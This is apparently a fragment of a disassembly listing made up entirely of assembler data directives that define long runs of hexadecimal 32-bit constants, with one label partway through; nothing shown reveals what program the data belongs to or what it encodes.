		dd 3E3C08Dh, 4ACB8007h,	0F3A9DBF6h, 5B0F30E4h, 8433CFE1h
		dd 9449EA4h, 0C4E916AEh, 34270C7Ch, 0D9CE24C1h,	0FCD12DFBh
		dd 2F53DACBh, 1B796768h, 0F60187ACh, 0E96EDF18h, 0EB841DE5h
		dd 0B8FED88Dh, 0A3528536h, 4E7BF68Ah, 57D7C2D1h, 0CC6B0E3h
		dd 19685909h, 62985427h, 3AAA3BEEh, 4A2F0F6Fh, 44647Fh
		dd 0D4D9071Bh, 0E5D18E9h, 17AD5BDDh, 58EF8B4Eh,	0ACC0532h
		dd 0EE15E9h, 0C046B536h, 7A9D2165h, 0E274B74Ah,	0FC22D54h
		dd 0DFDAE0DCh, 3145A571h, 0EB478A81h, 0F9EE8F44h, 0B9939F7Eh
		dd 0B07A7CE1h, 0CA40C7D5h, 5168155Ch, 429EBC01h, 1EE13414h
		dd 739FAAF6h, 0B8D3E020h, 5A110461h, 585D2A68h,	1270B026h
		dd 0EBF2B1E9h, 5924EB8Bh, 0A4D9E459h, 9307C10Dh, 4918273Dh
		dd 6D59F170h, 8350288Fh, 0D1F724DCh, 0F0670206h, 62753353h
		dd 23F17523h, 38807117h, 0F0D9315Eh, 0C8BF5E5Bh, 0E75F46C0h
		dd 0C5C3D6B8h, 52EAA31Ah, 61B0F180h, 0EAFE1C98h, 889CAFDh
		dd 74CB6E5Eh, 1CF57A07h, 0FD024A60h, 58E08429h,	4BAB41AFh
		dd 2E113D40h, 8170E2C7h, 252790CBh, 15F0EC4h, 0CF77929Fh
		dd 87F929E1h, 6526042Fh, 20041607h, 0A21B1CC1h,	20593C4h
		dd 6817B5EEh, 39E65601h, 0AFDCFE4Ah, 0F4164EC3h, 13078838h
		dd 0F78112DDh, 2C5C7FD1h, 2917660h, 6834462Ah, 0DBA219A9h
		dd 0EB253B0Eh, 80DEB1AFh, 272AE8B4h, 5A31590Fh,	0E528BFD8h
		dd 171B23Ch, 4CB3773Eh,	7A4337E9h, 0F72E70DDh, 27644D7Dh
		dd 0BF4758BFh, 29C4FE4Eh, 81A00BE9h, 5F13B0ADh,	0DEA1ED87h
		dd 0ABA962CBh, 0DAB10578h, 55BF793h, 5E5738C8h,	0A28D1A32h
		dd 5AD8080Ch, 5075101Fh, 6105F397h, 0EDA408B8h,	5B364023h
		dd 5F955972h, 5023490Fh, 0C4C20FB4h, 2F5AB61h, 0E9E97704h
		dd 8006A01Ch, 6880D672h, 2DB0A487h, 0C8640B33h,	16B1B74Ch
		dd 33FF5EF9h, 0E8C6F510h, 0DDEAF84Bh, 0D12F22D7h, 0D5CFC9FEh
		dd 0B66CFBACh, 0DC14F797h, 0C5082394h, 0EAD217AAh, 0D5D07D45h
		dd 5A8FA9E8h, 215B762Dh, 0D9B82F9Ch, 0A685264Bh, 7C671625h
		dd 74296F55h, 0ED7F6EABh, 2506A18Ch, 0D8E91C59h, 4F68177Ah
		dd 2360BB64h, 0B6D3792h, 1C5B809h, 0C1C2A409h, 24B9FAC0h
		dd 422F760Bh, 884B8E49h, 0ED227DAh, 4A94A4C6h, 0F6812515h
		dd 0DA496CD4h, 0C4844B08h, 174E841Eh, 3F1FF1E2h, 0EF5A29A3h
		dd 0C32DF060h, 0B250505h, 0D555F001h, 6161AB6Ah, 605F264h
		dd 80FA9F2h, 3560AB3Ch,	66FEF089h, 6EDF1EC9h, 0C00C58D8h
		dd 41E9B80Bh, 60D96C0Dh, 7D8FD4BEh, 43014AC6h, 7963E9C5h
		dd 0A2BF2602h, 40186146h, 580FA7FEh, 6616405Ch,	83A1F3FDh
		dd 10071868h, 19746B1h,	8DCC3548h, 2F614163h, 0D8CD8E61h
		dd 0FF61C43Ah, 7757C50Bh, 44D5B1EAh, 25CF982Dh,	0D0FC2B3Fh
		dd 0BDCAEF50h, 0A6822A46h, 221EB67Fh, 0DE63C902h, 0A85710F6h
		dd 0B9F289B8h, 827D69EBh, 8BD2F7E5h, 54ED61F6h,	45351070h
		dd 79252C0Dh, 0EF09BD73h, 0F64D5D45h, 0F4E5814Ch, 0D827A20Eh
		dd 97ED50F5h, 5EC75534h, 31E61CD1h, 7B4102Fh, 2F3AE91Fh
		dd 0FCA30AE9h, 0BF3D602Dh, 6F0E97A8h, 0CCB01A17h, 738D1335h
		dd 0AEB1AAE4h, 59E62C40h, 12E39E9h, 3EE64CC6h, 529F9606h
		dd 7BB56DA4h, 0C39604Dh, 0C5C6E6BBh, 0C34A01F0h, 548F8BBCh
		dd 0A72A5A25h, 225325FCh, 0C5CF90F9h, 8B5813E5h, 44D51050h
		dd 0CE0C663Eh, 0E60A389Dh, 5139C73Dh, 0C61084C9h, 5F8165A2h
		dd 18965EF3h, 0CC440BD3h, 167CFF5h, 9C5E2DC7h, 33F52F2Fh
		dd 75B90807h, 0E9850047h, 0ACBCE5EEh, 68D4B092h, 0E6187025h
		dd 312709ABh, 0F6583B1Dh, 0F4146105h, 0E6C15041h, 9E683C78h
		dd 0EB729FC1h, 320201Bh, 929CE926h, 0D88C499Dh,	27090CD6h
		dd 54E81C57h, 0FE5BEC75h, 0B2681942h, 0F0E55D01h, 0F859E989h
		dd 9DC092A8h, 5BB1FFEDh, 0AA05E2B6h, 0AE96CA8Ah, 4BBEFE41h
		dd 302E3AE8h, 1EE946ADh, 20BB584Eh, 1F7F684Ch, 0E531FD2Fh
		dd 5531376h, 246C0690h,	9D0FC019h, 0CEBDFEDEh, 90D9862h
		dd 1D2729C4h, 3A1E0280h, 1EB00EFBh, 2BC9B04Bh, 4702B16Fh
		dd 3A25D075h, 0EA7C3123h, 3E02215Ah, 5FFEE8EFh,	7929EBB9h
		dd 145D581Ch, 0C1F8F6F9h, 664EC981h, 7ABE26D9h,	0E74F6701h
		dd 46503E9h, 806194EAh,	0DA18E4C3h, 0E60C2877h,	0BA4E484Ah
		dd 213D0DA6h, 2E862973h, 0A381CDA0h, 7B2026EBh,	56283465h
		dd 0EF2B1608h, 28C92761h, 9357C215h, 0F6256D78h, 989F5E1h
		dd 69DFD37Dh, 0EC6278D1h, 9F6809DEh, 0F9959ED2h, 0B7DAF47h
		dd 4BF979E7h, 2FCF6757h, 0DB8A2AD1h, 5827A5D1h,	5E090F22h
		dd 0BE84EC42h, 0D2B3D078h, 0C7A3D787h, 0C48650F0h, 1790F595h
		dd 20B1CD92h, 6703C5E8h, 2653AA4Bh, 1FA75F32h, 2A180B41h
		dd 7427AFD6h, 0E06BE80h, 364ACE5Fh, 0E277CD0Bh,	14797478h
		dd 8402DB06h, 31309DFEh, 47D838Bh, 0FB90558Bh, 45A355Bh
		dd 19FD627h, 0BD6694C6h, 471F16D7h, 0E66731BBh,	0C5B392BCh
		dd 0C1F86FEh, 52BDE97h,	0E466C8E9h, 0DA9521B7h,	40773F8Bh
		dd 9098432Ah, 0C7C30457h, 0C013870Bh, 77066B28h, 0EE002E4Ah
		dd 0AEC6A8EBh, 0A9315ACDh, 2BA9790h, 1A7D68D4h,	4EAF6E48h
		dd 2B971CB6h, 121181EFh, 0C172682Dh, 6B3B1351h,	9076A93Bh
		dd 27E24E0Ch, 7EFC5710h, 99256577h, 81C4796Ch, 57126FFBh
		dd 0BEC6053h, 6F7ADD82h, 0FCF8567Dh, 0EE7DB360h, 17186E47h
		dd 0A4F72940h, 0B904C71Ch, 59503426h, 8CF0CDFAh, 3D96DC54h
		dd 7CB12EFh, 4884EBBAh,	35CA26C0h, 14F1690h, 89A10DAh
		dd 9A19E909h, 543132F7h, 131702BCh, 0F3400697h,	0A1277E25h
		dd 211F0F2Dh, 4166E80Dh, 1DC11082h, 0E18279DAh,	0C90F95B1h
		dd 3C265B59h, 0EB4E43D9h, 5313568Eh, 0F33F40D0h, 4E111E0Fh
		dd 65F583BDh, 0DDFBA486h, 5A642039h, 744C9EF0h,	0CBEB09CAh
		dd 789D82B6h, 1140A2Ch,	7F2B2D77h, 50E2529h, 0F701BA08h
		dd 78DB0725h, 0A0E89940h, 1042065h, 1F7AE913h, 9D037188h
		dd 0ED55CD0Bh, 1CF4A205h, 0E5F1353Eh, 7680D3BAh, 3CE20C60h
		dd 0B6D00176h, 0CCE90C08h, 0A04262ECh, 704EDBD7h, 0FD5A0E0h
		dd 78882F02h, 54ADF50h,	1F8643E8h, 810C97A5h, 0D63A6158h
		dd 157E1729h, 1005ED78h, 68160B9Ah, 0A59EC7F0h,	0E3B4EB87h
		dd 2B4C187Fh, 0B84B0D5Eh, 0FE93912h, 4EF7B5B0h,	1792BAD7h
		dd 0F5C39289h, 6E14D00Bh, 26436816h, 8281BF35h,	983CEFB5h
		dd 0C5253E9Eh, 45CFC8F4h, 54BC1CB3h, 21A50193h,	3E0E2F71h
		dd 1ED5083h, 2AB95142h,	682E4594h, 58F84EB4h, 0E9CAB417h
		dd 0ABAD5E28h, 0E448BCD3h, 179D21BFh, 0A15DA8CFh, 86C9185Eh
		dd 9DAA30F8h, 2D8F7F28h, 984F0954h, 1C2D4093h, 0FA843067h
		dd 1FBE885h, 0ADEDC262h, 25875D04h, 0C0BFEB4h, 0BAE3975h
		dd 8713FB78h, 18C2F63Ch, 0C137CECBh, 0BEDADE58h, 0C5FFD7A5h
		dd 0D4E9C176h, 0B62E8208h, 0F5F08821h, 0C89516F1h, 0C113DC95h
		dd 0A0350CEAh, 72B5BE4Bh
		dd 81562AB8h, 371F12A4h, 41B102h, 0E30EE907h, 2495B9Ch
		dd 0C4D950A2h, 2CE6096Fh, 817DF233h, 0F003082Bh, 756AA242h
		dd 7EE21B20h, 144A0A11h, 0FB5B03ACh, 73FA7674h,	0D490A2h
		dd 0C7064F68h, 5B586Fh,	1B41150h, 319038F9h, 2C6CE9CBh
		dd 0F516507Eh, 0C6418EF0h, 0D3B84689h, 3A53AAFh, 0F03F8588h
		dd 9BFEC7Ch, 6402731Dh,	3BF4EE56h, 3D15DCBEh, 41D65110h
		dd 0A0246CB2h, 91415A68h, 0B0508091h, 0C3885305h, 0E10DE919h
		dd 0F16B093Ch, 8D8CC87h, 0D441AF25h, 86620960h,	0B02E8904h
		dd 0D2092D1Dh, 13703Fh,	17F8FA45h, 6A0A01Dh, 3B6B281Bh
		dd 11F601C1h, 0E944C43Fh, 2889823Dh, 5F5A66F0h,	689338FCh
		dd 5B09C5D5h, 5E79A598h, 16A47888h, 0AB272542h,	0C041799h
		dd 0ECBC3683h, 19574F09h, 34013C7Eh, 0C5890706h, 0C2018918h
		dd 98AEA88h, 57F7FAFh, 80BC58EAh, 0CD3CE9B0h, 0D9D7DDA2h
		dd 0C56885C7h, 0F6C3456Eh, 30388DDAh, 2B09C782h, 0A666EC17h
		dd 0B0576D6Ah, 13EB7329h, 0AA01D47Fh, 804A0C4h,	20FB72E9h
		dd 0FEEF404Ah, 4AF4E781h, 90EC9F2h, 0C9DD520Bh,	296C290Fh
		dd 0F8674A74h, 972E61Dh, 4F9B6EECh, 2792CEDDh, 0D6719184h
		dd 6C32D5C9h, 61E87155h, 6AB45CE9h, 273F9B2h, 688A9F4Ch
		dd 9D51FA89h, 1C55D6AFh, 17F76FCEh, 8BE90534h, 5BA3BDFBh
		dd 0EC457EB5h, 0E28A50BBh, 917D6204h, 0F387BF23h, 522F33FDh
		dd 0F2E6AFD2h, 104EA34Eh, 970EF149h, 677ED8F7h,	0DF8F8B57h
		dd 5B0961B6h, 0F6645468h, 1A82D2FFh, 946B85Bh, 0E114FF95h
		dd 0D8B8584Ah, 473A3B1h, 10CA2E80h, 0F0444EA7h,	0CF40D98Eh
		dd 5D650BBAh, 13075561h, 14E2122Dh, 1EE96C55h, 0E45F3A15h
		dd 0FC12584h, 5BE32B8Bh, 0E912C390h, 0B4CB52DEh, 0EB4B8705h
		dd 5035CFABh, 974047D9h, 0B068175Fh, 4F0FB30Eh,	291B04EAh
		dd 0F4041244h, 72D13D49h, 824D5DE8h, 0B7C402F4h, 0FAB58564h
		dd 675197B4h, 382062h, 0A70D3B9h, 0F3F0215Ah, 0DE7502C1h
		dd 0CF295995h, 5E3E1C1h, 4F435080h, 0BB1C5CEFh,	7D6B205h
		dd 1330A8CCh, 1DABD2F7h, 0D5C36F22h, 5D00C0ACh,	0C4B8CD9Ah
		dd 98FB1220h, 853A4E32h, 20C8AA0Fh, 405FB042h, 5AEC531Bh
		dd 5876D460h, 0C43E2E68h, 0FBC803B5h, 0E35A7561h, 5DFB6800h
		dd 3CAA3AE1h, 0CA5DE90Dh, 5AC54A85h, 78B0EBB8h,	69300D6Fh
		dd 7098EE42h, 0D8345CC8h, 0C4D63912h, 11F8FA62h, 19C5B4A5h
		dd 42215Fh, 0F7774D8Fh,	20C7600Ah, 0E37AC108h, 0E4F768F6h
		dd 81F7AFE9h, 0F750534h, 0DE54321Ah, 5BDE0711h,	0E9819AF7h
		dd 73FF41E7h, 0D40113D5h, 384E80D0h, 0D2A75B2Ch, 0A963F724h
		dd 15ED69A0h, 507DE6A2h, 0C1199ED0h, 5414A4E9h,	0DF80FBD4h
		dd 28719DCAh, 2CEE10A7h, 0B710C27h, 0D704D601h,	8852022Fh
		dd 0D879E1C6h, 90DD7707h, 0D6F659EEh, 0F57A517Fh, 5A3AEB78h
		dd 6013080h, 94F2E920h,	0D7BE0706h, 0C1170477h,	0DD79114Fh
		dd 32FC8001h, 29ED8E50h, 32D595F1h, 4ED5841h, 3174EF8h
		dd 0C2E5E35Ah, 4906A368h, 64759628h, 0B26EA82Ah, 5EDDD01Dh
		dd 79D9A85Dh, 5756B969h, 95BA85E0h, 93AE709h, 7EEC8F9h
		dd 4754B446h, 0FC339550h, 15AC5B3Fh, 57F451A2h,	77B831A5h
		dd 0D3D14C2Ah, 0F1BF5A21h, 0A0EC650Dh, 57904E72h, 0C8652717h
		dd 33F88BCh, 0EA2DB193h, 1AD2AA31h, 0C17ABA06h,	0C530830h
		dd 9D0929DBh, 0BE9C2458h, 0FFD8210Bh, 3E20A2ECh, 0F729270Fh
		dd 0FE177804h, 0DF859E15h, 0F05C4B17h, 66D3D81Dh, 0A540DD4Fh
		dd 8537D531h, 0F763F0E2h, 4FB6E0C6h, 7D28CFA0h,	0F05FF47h
		dd 314DDD3Bh, 0D2059980h, 65CB2D46h, 0AC28B256h, 5F539D1Fh
		dd 331D0FB0h, 204A6A07h, 2D0820C3h, 4F42FAE9h, 4A8F73FDh
		dd 3348C914h, 0AB83C8E4h, 0A30B4BDFh, 0BFA24ECAh, 8F72C34Bh
		dd 5B4C2AC0h, 0CB0C00B5h, 0B4F3D9Bh, 8EBC167h, 0DFFB4503h
		dd 8AF8BEFCh, 0C12DFB5Ah, 0AD2A216h, 1E31391Bh,	250F2CBAh
		dd 7B5EDC39h, 412A68A1h, 0DD1F8590h, 2ED2E24h, 0C97CE90Dh
		dd 90D82EBAh, 1A152568h, 0FA20F8C6h, 0DAE92D52h, 779DA258h
		dd 53EFEE9Ch, 1FB35F86h, 0F0F1F4DDh, 5BCE6017h,	810149ACh
		dd 210729F3h, 0CACF2056h, 4BC27B39h, 8DB10BBh, 41C03150h
		dd 95DEC214h, 5865279Ah, 1C51A0ECh, 69ADB68Fh, 74F1582h
		dd 6A71457h, 66A0B652h,	9C5BD168h, 595BBBC2h, 0C7F70BB3h
		dd 68513220h, 9162F9Ch,	44BB5943h, 13F735CEh, 0FB46DEE8h
		dd 0A2E98162h, 0DF5D1A75h, 72C0044Ah, 0B84E1D6Bh, 62A33080h
		dd 0B02D58FCh, 4D1C4E82h, 0CDE990C0h, 99975518h, 318868CCh
		dd 857CCB16h, 77090218h, 5A264BD1h, 0BF586858h,	1F41A59Ah
		dd 1DA23D5Ah, 781B6F5Eh, 56FCF241h, 264C2C2Fh, 0B8078571h
		dd 0ED028151h, 607CF17Ah, 0D112210Eh, 2EBC9DCBh, 55945A02h
		dd 0F689FD29h, 0BB0046F8h, 56AF3A46h, 25627FBAh, 615FD331h
		dd 9978D4F7h, 0D3DDF71Dh, 0F88924A6h, 8F262EFFh, 85B35342h
		dd 0D9EBD9F8h, 0AFC13E58h, 785CEBF1h, 4ECE7288h, 988934F7h
		dd 0F84A309Fh, 0C5003AC9h, 0F8656A87h, 5BDF2C29h, 0C25A1D23h
		dd 0FE014EDDh, 8093262h, 0EE2E210h, 52247F8Ah, 38105C3h
		dd 623CE3FEh, 0E0A97EEh, 6F1DCDD7h, 2A4D3E00h, 60B85652h
		dd 0C8310B49h, 44BF8E9h, 61EE8B35h, 4294D92h, 94951DAEh
		dd 0FD8B71CFh, 0EB3AE4B8h, 1080B19Eh, 8133682Bh, 796AF8C9h
		dd 2831ED6Ch, 0C11B8EECh, 45C7230Ch, 4DF53FF9h,	45BDCB04h
		dd 79950DA6h, 8A77EB10h, 4F42D8CFh, 428F00C6h, 912F6838h
		dd 9EAC648h, 5B932C7Dh,	0D443DB04h, 4EBE8A30h, 552D32BBh
		dd 1AA85340h, 0E90E0C05h, 8CBAAE42h, 5C017122h,	0B8B9366Dh
		dd 167FE2E4h, 0B5C5BA3Dh, 2FE91380h, 64E6BF38h,	20AA5AB7h
		dd 8A801192h, 92296AAh,	0CC555ED8h, 0E073680Fh,	4318458h
		dd 2C775705h, 0DD0B7C0h, 0F640701h, 724A3574h, 0C2F5B740h
		dd 56517FEAh, 4FF46713h, 2F85FAC7h, 38D1D9E1h, 128CFE68h
		dd 9C32FABh, 5D521899h,	41EB2141h, 3ACCE908h, 0F9EEECC4h
		dd 7988E59Bh, 0E445448Ah, 482D7340h, 6F3D96E5h,	0A584C526h
		dd 0FEBDEE70h, 13B68A7Eh, 3F8469E0h, 0D1791F6Eh, 5FB69201h
		dd 0E9C080FEh, 44942957h, 584A7C49h, 82C247h, 9B440DD5h
		dd 0E6D12663h, 4770122Eh, 71504A5h, 121EA3F0h, 30AB384Eh
		dd 0F1C68AEh, 72A45C95h, 0A2503242h, 0F7CC729Fh, 0AAE7852Ah
		dd 0AC30FB2Dh, 81FA5422h, 2DDAB8CDh, 13F38B0Ah,	0C6015804h
		dd 7B7E7EE3h, 3B5E95D9h, 925DE9E1h, 0D749507Bh,	7F812819h
		dd 73F685E0h, 881C50Dh,	6A646DEh, 32A8019h, 4C08E929h
		dd 0CADD13BFh, 507F00DAh, 9090431Dh, 16665C9Dh,	3FF1215Bh
		dd 0F6348E4Fh, 40B3E9D6h, 0FC280BEh, 75B151B5h,	0F2100965h
		dd 0ED74C6Bh, 73164A68h, 258BF401h, 0B43E27C7h,	530BED61h
		dd 15E5D2Dh, 0FDE3E9E6h, 0C34F076Bh, 0D7700B21h, 6A2768EAh
		dd 0B1E0104Eh, 6360E18Bh, 78B20552h, 94F43BE9h,	0B304BFBEh
		dd 0A80C101h, 50023858h, 13B38A63h, 0FE22FB2Ch,	0D8FA4A12h
		dd 0D44ABC76h, 680909A2h, 0A0DC4E34h, 0EB91E9C1h, 90016F3Dh
		dd 115E258h, 0B81C70CEh, 47CF825Bh, 2CA18F10h, 50054958h
		dd 6285EDB0h, 8BAF3C25h, 91201039h, 12CCA94Bh, 28FA62BAh
		dd 50BCCF82h, 4AEEF120h, 0C98D4C48h, 98D25766h,	90C3B32Ah
		dd 809DACECh, 6A35BE23h
dword_4AA85C	dd 0E1024EE1h, 0B800203Eh, 7EBFB612h, 0FA3D97EBh, 0CF8E1536h
		dd 9C7D4A3Bh, 0AD056B93h, 0A0B7EB32h, 0DE5B3C20h, 7FAC4882h
		dd 492CD6C5h, 802A6722h, 6294942Eh, 479D176Eh, 0D40BC4ADh
		dd 80691C5Eh, 0FA39174Fh, 7A099D1Fh, 55888BD7h,	1827AE68h
		dd 0E9DC8E06h, 80CCF3C4h, 80150DADh, 0C1B5E688h, 0C73B5821h
		dd 0FA0453B0h, 0D12CE881h, 32B26A59h, 0A2F7D7C4h, 7484600Eh
		dd 40384A69h, 0E2048109h, 56137C9Fh, 628EAC80h,	2668F22Ah
		dd 6E7E44C5h, 59E9D767h, 0ED93B654h, 0EB35C4FEh, 0C990ACA9h
		dd 0FE87B6C4h, 604F76CBh, 4805662Eh, 51D4E48h, 272C70C5h
		dd 2A1689BEh, 291263F3h, 396604C3h, 0EFA013E1h,	795E5525h
		dd 3A01EA40h, 5E19266h,	418539BCh, 0C88AC245h, 6E9CD354h
		dd 517D8E42h, 34FE5F68h, 20C1808Bh, 7909850Eh, 0C2012D5Ch
		dd 0A975E48Bh, 24B3E597h, 25EE024Eh, 59607CB3h,	2D2CE956h
		dd 29CFBAD0h, 0DCED5215h, 0BB4602D2h, 0A4D02967h, 0E90A50FDh
		dd 4A92B6C6h, 7CE46817h, 49CF50ECh, 0B2432044h,	1BB70497h
		dd 7AA89FE9h, 9759B058h, 0C2C62984h, 0FF89EEDEh, 2D3E4F82h
		dd 12990463h, 0F1B48059h, 41E9D15Eh, 1D9CEC81h,	0BC0AB462h
		dd 0E39AF889h, 96D55909h, 0AF539F47h, 0AB14E90Bh, 0A728D435h
		dd 8D1367D1h, 0AF597D82h, 0C2B729A9h, 0CA0893CFh, 8284F598h
		dd 68B2BB5Bh, 89A0596h,	39638D23h, 6858091Eh, 0B5DBD0E8h
		dd 2654BAFEh, 0A7797BE9h, 0C0499DD3h, 9AEDE9CCh, 0FA2D4A2Bh
		dd 5F5998C7h, 54AABF0h,	0B584FFh, 362A93ADh, 0AA59684Ch
		dd 272D7F8Bh, 0B3EC564h, 45D44AF0h, 86081151h, 25F7D440h
		dd 0C4774FDFh, 720CC0E1h, 687D2F83h, 0D1363924h, 982C7A69h
		dd 68B94020h, 0D909EA27h, 0DB19BF97h, 6EE51310h, 0EA2BFD29h
		dd 0A0638B09h, 9DBA661Bh, 5031E91Ah, 0EBE729D1h, 0EA100CDAh
		dd 0C20A1BCAh, 5AC52227h, 0D29928A1h, 0E4569099h, 877BB5F9h
		dd 0AEF18000h, 80530368h, 0A5D25FE9h, 9030D621h, 265EBE00h
		dd 6812462Ch, 596C1802h, 85285E03h, 0EF48E9FEh,	0E2EAFAC5h
		dd 0D26EC669h, 0D805021Eh, 29463C0Bh, 3D9DC7DFh, 3C69CA85h
		dd 12B1FA54h, 3AE90801h, 0FB4ADF3Ch, 0B87F576Dh, 0E961A258h
		dd 0F12A3141h, 0C9F46B2Ah, 1428130Eh, 0BE4F121Fh, 0C501C9C4h
		dd 7A9469A6h, 8CE8107Eh, 13242E2Dh, 470413E8h, 0F3AB4FD7h
		dd 0D52DD380h, 70C2AC84h, 715BCD4h, 6FC958ABh, 1927E760h
		dd 0A56FE77Dh, 0FCE5FD3Eh, 0F7FE46DDh, 26CB7F0Dh, 956EE3B9h
		dd 0EE211AC5h, 6A6E58Ch, 18387C31h, 0C064DDBAh,	360A2768h
		dd 0C205A2C6h, 11A8D28h, 8AEE8618h, 72622C44h, 1FE90C85h
		dd 5EE80AFh, 0DCDAF62Eh, 3AF8F13h, 0AAFE94Ah, 0D2F72018h
		dd 0FCA8104h, 6171485Bh, 3C07E5h, 0C43EA49h, 0DDB06487h
		dd 6E301C5Eh, 627069h, 2C270522h, 0E72D16E0h, 7DD24B13h
		dd 741C2B8h, 5A1184F2h,	1E8A6B87h, 3705033Ch, 0E838C732h
		dd 0AABA52D8h, 65808208h, 423E09FDh, 680467B6h,	0E9023992h
		dd 0EE56EFDDh, 568296h,	31A404AEh, 0E88FC5F0h, 2EF04FB1h
		dd 0C0520EF4h, 0C5DC06ECh, 0C2E288FDh, 98DAD70Ch, 1DE9570Bh
		dd 334C4861h, 6DF80346h, 4D50E581h, 0C5F1C0CCh,	1A300F43h
		dd 0ECB0C44h, 41C7C29h,	84CE0F5h, 0A654801Dh, 2E619B42h
		dd 0A590F00Ch, 0F5445370h, 0F7215E8Eh, 0E81ABDE4h, 0AF7ADEC5h
		dd 53B248EBh, 60599527h, 0F6E6D18Bh, 7FC6823Ah,	9A8B561Eh
		dd 2309F50Bh, 10340FDh,	0C26B91D8h, 0AA507EE9h,	8542A2B7h
		dd 0B68025Eh, 551CA255h, 69DC74B6h, 97BF3BD1h, 840BE78h
		dd 0DA3E70CEh, 8C8EC20Ch, 550580h, 61685EA0h, 0B4459D60h
		dd 4A809A7h, 13E358B3h,	0FEC22A0Bh, 9FB05311h, 8B0BC3CEh
		dd 0ED9CFA23h, 3864E03Bh, 9CC8014Bh, 2993C92Fh,	4BFD607Dh
		dd 33772708h, 6274E878h, 0A8E3D9BDh, 34CD4DBCh,	8C57052Dh
		dd 942216BAh, 4AC225B6h, 0F5DA27F4h, 6C5B638h, 5D60CD9Eh
		dd 9591E0D3h, 0AFBA2859h, 5DBD09ACh, 0BDD3F583h, 0BA5E0E01h
		dd 0AB4922EEh, 1290B2A7h, 22D6C003h, 53942D97h,	0A85E5404h
		dd 0DE8B044h, 0A6174BC1h, 64250BBFh, 0A8E68EE6h, 0DAE327F3h
		dd 31D776EAh, 0B22B26E3h, 5C4B78B4h, 0F33EA9A1h, 0F767183Ah
		dd 48B9B842h, 0F14BFA61h, 683CD048h, 7425ED2Fh,	170720F6h
		dd 0B8D597E9h, 0E6C6F743h, 0E5C0B54Eh, 5E970DCCh, 0E9934E9Bh
		dd 15C833B0h, 0A077DA52h, 59EA88F7h, 2554E85Bh,	0A9460187h
		dd 8997D69Ch, 40E07D22h, 9F634E7Fh, 5379E57Ch, 612AAA2Ah
		dd 0BE115313h, 60309F28h, 0C15B5A48h, 0D2D202EAh, 350B7FB8h
		dd 60DF60E2h, 1E74CD88h, 4C49F356h, 861204EDh, 761F6E13h
		dd 8AD2C0EBh, 0B14B32DFh, 0EBB88C4h, 0ED76F517h, 506F52E1h
		dd 62120275h, 0A9075299h, 0DF0B69D1h, 8B988ECEh, 0ED25114Bh
		dd 3547609h, 0E4C33F30h, 0B53EADEEh, 86D92D49h,	0F9EA3486h
		dd 4899BE05h, 5AA5FB30h, 6EAD8910h, 16181CB3h, 0E37E8B50h
		dd 0D6C6C9C1h, 0AE30C21Ah, 0F46402EEh, 0F2894AB1h, 2A88261h
		dd 7107FD5Eh, 7834112Dh, 0AFE16E23h, 5F590702h,	0E958C1D6h
		dd 68C46974h, 565AC9E6h, 0C0044FF8h, 0BA21EE4Ch, 0B8505480h
		dd 0F205FE1Bh, 8B65EDE9h, 97FA86Ah, 0FE2D5668h,	0C68C631Bh
		dd 59C7C303h, 0DF651667h, 3824C595h, 0F93FD3A1h, 0A4551048h
		dd 51822C03h, 43D19FB1h, 7657C20Bh, 315AC56Ch, 7F541765h
		dd 0DC5E008Bh, 7197593Fh, 0EC56E4ECh, 0DE298356h, 0FF06CD53h
		dd 2CBF6F3h, 0B77717F1h, 0AB5851A8h, 531ED717h,	78C4EEh
		dd 0EB015907h, 0EA60B3E9h, 3D25483Ah, 47C60117h, 0EF024F35h
		dd 0DCCB606Ch, 284ABF80h, 20FD5D37h, 594AF388h,	49D0B95Dh
		dd 64645E30h, 0FA5BB222h, 0DF892704h, 0ACB18CAEh, 6927D39Eh
		dd 0B5ED52E3h, 0C6B2A1FBh, 6B0E12EFh, 3231EF20h, 86C305E2h
		dd 68920BD3h, 0FEA049A1h, 78E47C80h, 0A68259Ch,	184E2234h
		dd 6B7845Ah, 0ACE130EAh, 645F0A59h, 502C6DF0h, 4F33A813h
		dd 9CA03323h, 5D084B9Dh, 9FF122F5h, 0E5BB559Ah,	93E169D9h
		dd 0D015CE2h, 6A7C6803h, 64A7CF2Dh, 5D6DAAE9h, 0E0C24248h
		dd 0D13A12A1h, 11A08EFh, 0DC40DD4Bh, 302C267Dh,	412D63F1h
		dd 56C0BFB9h, 816701EEh, 244572F7h, 0E3E07B4Eh,	52193D35h
		dd 40D440A7h, 546A85B9h, 0D0EE0B74h, 683EC0E6h,	0AB0EDD94h
		dd 5D37EBA9h, 0C1AD1CC5h, 0E16C8532h, 4E765C28h, 0EA7044F1h
		dd 80E7EF95h, 0E8DA5916h, 44E8CFEFh, 0B4F4ED5Eh, 1922186Ch
		dd 29730C69h, 144250Bh,	0BB200ACDh, 0DC895A9Dh,	1D4F9D8h
		dd 0B71FACB9h, 2CE8780Eh, 3C16514Eh, 5D49C8BFh,	6EC36815h
		dd 341393CCh, 2E6867C8h, 0C46D1564h, 0B968E00Ah, 3846C712h
		dd 14C0E1A0h, 0EA098C1Fh, 96590B02h, 18798903h,	0D5F10162h
		dd 92497851h, 5D6D608Bh, 412A91B4h, 202CC0B3h, 0D2F5D8FEh
		dd 0F24F0951h, 0FDC8CE0Fh, 0A10B802Eh, 0F418FD7Eh, 0B09C0966h
		dd 0BCD5388h, 3D0BFA29h, 0A0901C52h, 69653300h,	44C90513h
		dd 0F73113F2h, 34315AD8h, 59A7E25Dh, 0BE4792CAh, 92813A89h
		dd 0FD60E6B8h, 1A003E0Ah, 4714FB2Dh, 79C09D32h,	81BFB2E9h
		dd 1C580CEh, 28040B2Bh,	0E50C01F6h, 51FD9FEEh, 5D20CA5Fh
		dd 65AB95EBh, 8E27D0F8h, 20046CF1h, 0C38213FCh,	20F37E5Dh
		dd 6AC848CFh, 0F4AD273Ah, 79F76C42h, 0B8F2439Ch, 8290F8F5h
		dd 753A64F9h, 12C10EF0h
		dd 767155E7h, 4EF47260h, 6C67F0F3h, 8602002h, 802DF029h
		dd 67355E07h, 6F372826h, 624559EAh, 542E6809h, 0F2C960C6h
		dd 0BF2DD8D9h, 0D88610CCh, 609DA46Bh, 3EAA1493h, 0B4134636h
		dd 0D02DA992h, 261705E8h, 7DAD4196h, 9E5F0840h,	93676DF2h
		dd 39FA3192h, 8D417AD7h, 9D5BBBBEh, 20CEF8DFh, 0E0395C5Dh
		dd 4EC32B10h, 0EE9E96ECh, 0BF4F0C1Fh, 0CD0B2D18h, 8C272F5Bh
		dd 48EF32FCh, 0BFD22308h, 29C00320h, 0F4EA4EB9h, 0E925D055h
		dd 970CD8E8h, 0B9499FF3h, 9B344C9Ch, 0C60925E9h, 13898179h
